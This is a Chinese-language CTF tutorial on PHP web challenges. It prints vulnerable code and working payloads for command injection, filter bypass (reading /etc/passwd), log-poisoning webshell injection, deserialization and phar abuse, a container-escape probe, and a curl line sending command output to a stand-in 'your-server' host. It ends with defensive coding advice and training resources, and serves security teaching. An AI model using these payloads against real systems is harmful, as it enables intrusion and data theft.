1. 青岑CTF Web入门赛题设计思路解析
作为CTF赛事中最受欢迎的题型之一,Web类题目往往以真实漏洞为蓝本进行简化设计。青岑CTF的EZPHP系列正是面向初学者的阶梯式训练题库,其核心设计理念体现在三个维度:
首先是漏洞类型的递进性。整个系列从基础的代码注入逐步过渡到条件竞争等复杂漏洞,比如第一题通常设计简单的eval函数执行,而后续题目会引入过滤机制绕过、特殊字符处理等进阶考点。这种渐进式设计能让选手建立系统的知识体系。
其次是环境的高度仿真。与纯粹的理论教学不同,题目会模拟真实CMS系统的代码片段,例如采用类似WordPress的钩子函数命名方式,或是ThinkPHP框架的常见写法。这种"半真实"的代码环境既能降低学习曲线,又能培养实战代码审计能力。
最后是解题的多元路径。好的CTF题目不应该只有唯一解法,EZPHP系列在设计中会刻意保留多个漏洞入口。比如某道题可能同时存在文件包含和反序列化两个攻击面,不同技术背景的选手可以选择自己熟悉的突破口。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. EZPHP第一题:基础代码执行分析
初始题目通常命名为ezphp1.php,其典型代码如下:
php复制<?php
highlight_file(__FILE__);
$cmd = $_GET['cmd'];
if(isset($cmd)){
system($cmd);
}
?>
这道题考察的是最基础的命令注入漏洞。解题时需要注意几个关键点:
- 参数传递方式:通过GET请求的cmd参数传递命令,这要求选手熟悉HTTP基础协议。在Burp Suite中可以直接修改请求:
code复制GET /ezphp1.php?cmd=ls HTTP/1.1
Host: qingcen-ctf.local
- 命令拼接技巧:当需要执行复杂命令时,Linux下的分号(;)、与符号(&&)都是有效的分隔符。例如查看当前目录并显示环境变量:
code复制cmd=ls;env
- 过滤绕过预备:虽然本题没有过滤机制,但后续题目会逐步引入。提前练习使用base64编码等方式会有帮助:
code复制cmd=$(echo "bHMgLWxh"|base64 -d)
3. 进阶题目中的过滤绕过技术
在EZPHP第三题中,题目开始引入基础过滤:
php复制$cmd = str_replace("cat", "", $_GET['cmd']);
system($cmd);
面对这种情况,选手需要掌握多种绕过技巧:
- 命令分隔替代方案:
code复制cmd=ls||whoami # 使用逻辑或运算符
cmd=ls%0awhoami # 换行符绕过
- 字符串拼接技术:
code复制cmd=c\at /etc/passwd # 反斜杠分割
cmd=c''at /etc/passwd # 单引号分割
- 通配符妙用:
code复制cmd=/bin/??t /etc/passwd # 问号通配符
cmd=ca[t] /etc/passwd # 方括号匹配
特别值得注意的是,在实战中要关注系统的环境差异。比如在BusyBox环境中,很多常用命令的选项与标准Linux发行版存在差异,这会影响payload的构造。
4. 文件包含与伪协议的高级利用
当题目出现类似代码时,文件包含漏洞就成为突破口:
php复制$file = $_GET['file'];
include($file);
这类题目通常需要组合利用PHP伪协议:
- 基础文件读取:
code复制file=php://filter/convert.base64-encode/resource=index.php
- 配合日志注入:
code复制file=/var/log/apache2/access.log&cmd=<?php system($_GET['x']);?>
- 临时文件利用(需要条件竞争):
code复制# 配合文件上传和proc目录访问
file=/proc/self/fd/临时文件描述符
一个实用的技巧是使用compress.zlib伪协议压缩代码,可以绕过某些特殊字符检测:
code复制php://filter/zlib.deflate/convert.base64-encode/resource=flag.php
5. 反序列化漏洞的实战挖掘
PHP反序列化题目通常会给出类似代码:
php复制class Vuln {
public $cmd = 'id';
function __destruct() {
system($this->cmd);
}
}
unserialize($_GET['data']);
解题时需要掌握以下关键点:
- 基本payload构造:
php复制<?php
class Vuln { public $cmd = 'ls'; }
echo urlencode(serialize(new Vuln()));
?>
- 魔术方法利用链:
- __wakeup() 常用于初始化操作
- __toString() 在对象被当作字符串时触发
- __call() 处理未定义方法调用
- Phar扩展利用:
当直接反序列化点不可用时,可以尝试通过phar://协议触发元数据反序列化:
code复制file=phar:///path/to/file.phar
6. 实战中的非常规技巧
在真实的CTF比赛中,往往会遇到各种特殊场景:
- 无回显场景处理:
code复制cmd=curl http://your-server/?data=$(ls|base64)
- 长度限制绕过:
code复制# 通过环境变量扩展
cmd=echo ${PATH:0:1}
- 字符集限制解决方案:
code复制# 使用printf构造字符
cmd=$(printf "\154\163")
- 容器逃逸初步:
当发现docker环境时,可以尝试:
code复制cmd=ls /proc/1/root/
7. 防御方案与安全编程实践
作为负责任的选手,在掌握攻击技术的同时更应该了解防御措施:
- 命令执行防护:
php复制// 使用白名单过滤
$allowed = ['ls', 'date'];
if(in_array($cmd, $allowed)) {
system(escapeshellarg($cmd));
}
- 安全的文件包含:
php复制$allowed = ['header.php', 'footer.php'];
$file = basename($_GET['file']);
if(in_array($file, $allowed)) {
include(__DIR__.'/templates/'.$file);
}
- 反序列化最佳实践:
php复制// 使用json替代序列化
$data = json_decode($_GET['data'], true, 512, JSON_THROW_ON_ERROR);
在开发中推荐使用PHP官方提供的filter_var函数进行输入验证,同时保持框架和依赖库的最新版本更新。
8. 训练资源与技能提升路径
要系统提升CTF Web解题能力,建议按照以下路径训练:
- 基础技能树:
- HTTP协议深度理解(特别是Header处理)
- 正则表达式精通
- Linux常用命令组合
- 专项训练平台:
- Hack The Box的Web靶场
- CTFlearn的Web专题
- 本地搭建DVWA、WebGoat环境
- 代码审计进阶:
- 研究CVE漏洞的PoC代码
- 参与开源项目安全审计
- 学习PHP内核机制
- 工具链配置:
- Burp Suite插件开发
- 自定义fuzz字典
- 自动化脚本编写
我个人的训练方法是每天至少分析2个真实漏洞案例,并在本地环境复现。三个月坚持下来,代码审计能力会有质的飞跃。记住,CTF比赛的终极目标不是获取flag,而是培养发现安全隐患的敏锐直觉。
